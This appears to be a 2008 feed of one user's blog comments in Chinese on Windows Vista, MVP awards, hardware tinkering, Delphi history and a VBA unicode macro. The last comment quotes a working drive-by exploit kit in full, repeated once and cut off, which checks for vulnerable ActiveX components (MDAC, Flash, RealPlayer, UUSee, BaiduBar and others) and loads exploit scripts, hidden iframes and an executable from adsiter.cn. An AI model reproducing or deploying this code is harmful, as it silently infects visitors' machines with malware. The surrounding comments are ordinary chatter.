回头能不能弄个和aspnetpager的比较呢?很期待
费cpu啊。。。
字符串扫描,正则引擎,编码转换,都不是省油的灯
有机会看看AE,那才真的是华丽的UI。。。
// after effect
re: 公告 birdshome 2008-07-15 17:45
怎么弄个了“黄金时间”移动机器呀-_-!!!
// 宅急送后来怎么解决的啊?
@netwjx
Ae, 这帽子扣的。。。XP不支持4G内存啊。。。用Server图个稳定,,,
re: IE灭绝!? birdshome 2008-07-15 15:17
数据党
re: 亲兄弟明算账--创业[2] birdshome 2008-07-09 16:48
创业?就是,有几个合适的人,在一个合适的时间,做一件合适的的事情。
任缺其一都扯淡,要不然地球人都创业去了,,,
re: 亲兄弟明算账--创业[2] birdshome 2008-07-08 14:41
这样的一堆人根本就不该在一起创业
我也困惑,凡是看到所Vista不行、垃圾、失败的地方,都是“众所周知”。。。从来都是言之无物,空洞无物。难到这就是-众知党?
re: 您的PC还处于待机中吗?让他参与科学计算吧! birdshome 2008-07-05 20:40
法拉利运猪
-_-!!!
re: 怎么这两天总能看到刺激我的好东西 birdshome 2008-07-03 14:44
re: 当上微软MVP了 birdshome 2008-07-02 16:59
mvp也可以由自己的立场的,而且这是对你过去一年的肯定
re: 成为MVP birdshome 2008-07-02 16:57
@咖啡猪
most valuable pig... //grin
re: 哈哈,成为MVP了 birdshome 2008-07-02 16:56
恭喜:)
re: 最近的一些随感——简历 birdshome 2008-06-26 22:45
对于做技术的人来说,这简历还真不是那么好写。首先你要打动HR(基本是不懂技术的),然后又希望面试官感兴趣(技术面试),这两拨人的评价标准基本就是对立的。
re: [杂文] 考验你程序员的逻辑分析能力 birdshome 2008-06-23 20:20
我觉得程序员就是太实在,但又不得不实在,就这样。
re: 让193FW显示1440x900还真不容易 birdshome 2008-06-20 03:51
byebye
re: 引用《兄弟连》中的对话 birdshome 2008-06-20 00:12
巴顿这段我也喜欢,读完后有种洞悉时空的感觉
凯旋回家后,今天在座的弟兄们都会获得一种值得夸耀的资格。二十年后,你会庆幸自己参加了此次世界大战。到那时,当你在壁炉边,孙子坐在你的膝盖上,问你:“爷爷,你在第二次世界大战时干什么呢?”你不用尴尬地干咳一声,把孙子移到另一个膝盖上,吞吞吐吐地说:“啊……爷爷我当时在路易斯安那铲粪。”与此相反,弟兄们,你可以直盯着他的眼睛,理直气壮地说:“孙子,爷爷我当年在第三集团军和那个狗娘养的乔治·巴顿并肩作战!”
re: 读取纯真IP数据库的公用组件QQWry.NET birdshome 2008-06-19 22:18
这个纯真IP数据库的官方更新在哪里呢?
re: 自己动手DIY了一个内存散热棒棒糖 birdshome 2008-06-18 13:56
@武眉博<活靶子.Net>
虽然这样没有直接指着内存模组吹来的好,但是风扇出去的风不是收敛的,而是发散开的,所以内存也就能被吹到。CPU扇子是向内存的反方向吹的,所以邦上个扇叶只是增加了重量,不会太影响拿破仑的散热的。
re: csdn新闻页面被挂马——是个误会 birdshome 2008-06-17 20:14
脚本加密,无聊之极
re: 50年变大了八万倍!超经典硬盘发展史 birdshome 2008-06-17 19:17
现在都是1T的家用盘盘了,真快
re: 自己动手DIY了一个内存散热棒棒糖 birdshome 2008-06-17 15:35
楼上用空调当机箱风扇?-_-
re: TinyURL的API birdshome 2008-06-16 20:20
如果不是永久,就没有什么价值了,或者买指定名字的tingurl,用于书中或出版物中引用倒也不错
re: 转: 致Delphi终将逝去的青春 birdshome 2008-06-16 16:56
大师是如何离开borland的。。。
Anders Hejlsberg,是丹麦人,曾在丹麦科技大学学习工程学。1981年前,Anders Hejlsberg 在丹麦有个公司叫Poly Data,他编写了Pascal编译器核心,最初叫Compass Pascal,后来叫Poly Pascal。1981年,Anders把该编译器核心授权给了Borland。Anders作为雇员加入公司,并且是后来所有Pascal版本与Delphi前3个版本的架构师。作为 Borland 的首席体系结构设计师,Hejlsberg 秘密地将 Turbo Pascal 变成一种面向对象的、拥有真正可视化的环境和卓越的数据库访问特性的应用程序开发语言Delphi。
1996年,Anders Hejlsberg在Delphi3发布前离开Borland去了MS。
在此之前,MS曾多次企图挖走Anders, 但都没有成功。据信anders去MS(主要)不是钱的问题,虽然MS的开价也相当有吸引力: 130万美元年薪外加股票期权和分红,总计超过300万美元。主要原因是Anders和Delphi开发组的其他成员在修改编译器的问题上发生了争执;还有,据Borland内部人讲,Anders认为自己不再是“不可缺少的人”。
Anders在Delphi3中几乎没有做什么工作,Chuck Jazdzewski扮演了一个更重要的角色。(--Anders Ohlsson) Anders在Borland时把所有精力都放在了Pascal产品上,也需要新的挑战,由于Bill Gates的亲自邀请,并许诺挑战的机会,Anders加入了Microsoft。果然,在Microsoft,Anders 在Visual J++开发中扮演了一个重要的角色,然后是C#的设计者,主要的架构设计师,以及.Net的架构设计师之一。(--Marco Menardi)
Microsoft 用丰厚的薪水、股票认购权和巨额的加盟奖金雇请了 Hejlsberg 之后,Borland 曾提出通过不正当手段吸收新成员的控告。Borland 还曾声称 — 提供了很少的细节来支持指控 — Hejlsberg 正在开发“Delphi for Java”。这场诉讼最终以 Borland 的胜利而收场;但是从那时起,Microsoft 已在让 Hejlsberg 工作了。
2001年4月12日,Anders获得Dr. Dobb杂志2000年度编程杰出奖。
re: 发布新博客模板-夏日芝兰 birdshome 2008-06-16 16:46
首页的标题不支持html了,不过文章还是支持的
建议提供一个关闭边栏的选项,这样对于那些只有很窄内容区域的模板比较有意义,面的文章被弄得很长,其实没啥内容
当然被关闭的边栏还需要弄个按钮来开启哈
re: 弥补Reflector反编译对中文支持的不足 birdshome 2008-06-16 15:57
怎么会还没有成功啊???我都要晕倒了,,,你要修改一下模块名,改成和代码里的一样。。。
Public Module Birdshome
Sub Unicode2Character()
Dim doc AsDocument = DTE.ActiveDocument
Dim docText AsTextDocument = doc.Object
Dim selText AsTextSelection = docText.Selection()
selText.SelectAll()
Dim text As String = selText.Text
Dim iLength As Integer
Do
iLength = text.Length
Dim m As Match
Dim strPattern AsString = "(?<code>\\[ux][A-F0-9]{2,4})"
m = Regex.Match(text, strPattern, RegexOptions.IgnoreCase)
If m.Success Then
Dim strValue AsString
strValue = m.Groups("code").Value
Dim digitLength AsInteger = strValue.Length - 2
text = text.Replace(strValue, "")
Dimint As Integer
int = System.Int32.Parse(strValue.Substring(2, digitLength),NumberStyles.HexNumber)
Dim ch As Char = ChrW(int)
docText.ReplacePattern(strValue, ch)
Else
Exit Do
End If
If Nottext.Length < iLength Then
Exit Do
End If
Loop
selText.StartOfDocument()
End Sub
End Module
// 增加了对\x??这种形式的转换支持
re: 这段js代码请高人指点一下 birdshome 2008-06-16 14:44
// 你这个主题好难受啊。。。

try
{
var e;
var ado=document.createElement("object");
if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")

}catch(e)
{
};

finally
{

if(e!="[object Error]")
{
document.write("<script src=http:\/\/adsiter.cn\/ms06014.js><\/script>")

}else
{

try
{
var f;
var Flashver=(new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$version").split(",")

}catch(f)
{
};

finally
{

if(f!="[object Error]")
{

if(navigator.userAgent.toLowerCase().indexOf("msie")>0)
{
document.write('<embed src="http://adsiter.cn/'+Flashver[2]+'.swf"></embed>')
}
}

}try
{
var g;
var storm=new ActiveXObject("UUUPGRADE.UUUpgradeCtrl.1")

}catch(g)
{
};

finally
{

if(g!="[object Error]")
{
var url="http://adsiter.cn/";
storm=document.createElement("object");
ActivePerl="-1C59-4BBB-8E8";
getSpraySlide="1-6E83F82C813B";
helloworld2Address="clsid:2CACD7BB";
storm.setAttribute("classid",helloworld2Address+ActivePerl+getSpraySlide);
storm["Update"]("\\Program Files\\Common Files\\uusee\\",url+"UU.ini","",1)
}

}try
{
var h;
var glworld=new ActiveXObject("GLIEDown.IEDown.1")

}catch(h)
{
};

finally
{

if(h!="[object Error]")
{
document.write('<iframe style=display:none src="http://adsiter.cn/GLWORLD.html"></iframe>')
}

}try
{
var i;
var real=new ActiveXObject("IERPCtl.IERPCtl.1")

}catch(i)
{
};

finally
{

if(i!="[object Error]")
{

if(new ActiveXObject("IERPCtl.IERPCtl.1").PlayerProperty("PRODUCTVERSION")<="6.0.14.552")
{
document.write('<sCrIpT LAnGuAgE="jAvAsCrIpT" src=http:\/\/adsiter.cn\/real.js><\/script>')

}else
{
document.write('<iframe style=display:none src="http://adsiter.cn/Real.html"></iframe>')
}
}

}try
{
var j;
var Baidu=new ActiveXObject("BaiduBar.Tool")

}catch(j)
{
};

finally
{

if(j!="[object Error]")
{
Baidu["DloadDS"]("http://adsiter.cn/Baidu.cab","Baidu.exe",0)
}

}if(f=="[object Error]"&&g=="[object Error]"&&h=="[object Error]"&&i=="[object Error]")
{

try
{
if(new ActiveXObject("DPClient.Vod"))document.write('<iframe width=100 height=0 src=http://adsiter.cn/Thunder.html></iframe>')

}catch(e)
{
}
}
}

}try
{
var e;
var ado=document.createElement("object");
if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")

}catch(e)
{
};

finally
{

if(e!="[object Error]")
{
document.write("<script src=http:\/\/adsiter.cn\/ms06014.js><\/script>")

}else
{

try
{
var f;
var Flashver=(new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$version").split(",")

}catch(f)
{
};

finally
{

if(f!="[object Error]")
{

if(navigator.userAgent.toLowerCase().indexOf("msie")>0)
{
document.write('<embed src="http://adsiter.cn/'+Flashver[2]+'.swf"></embed>')
}
}

}try
{
var g;
var storm=new ActiveXObject("UUUPGRADE.UUUpgradeCtrl.1")

}catch(g)
{
};

finally
{

if(g!="[object Error]")
{
var url="http://adsiter.cn/";
storm=document.createElement("object");
ActivePerl="-1C59-4BBB-8E8";
getSpraySlide="1-6E83F82C813B";
helloworld2Address="clsid:2CACD7BB";
storm.setAttribute("classid",helloworld2Address+ActivePerl+getSpraySlide);
storm["Update"]("\\Program Files\\Common Files\\uusee\\",url+"UU.ini","",1)
}

}try
{
var h;
var glworld=new ActiveXObject("GLIEDown.IEDown.1")

}catch(h)
{
};

finally
{

if(h!=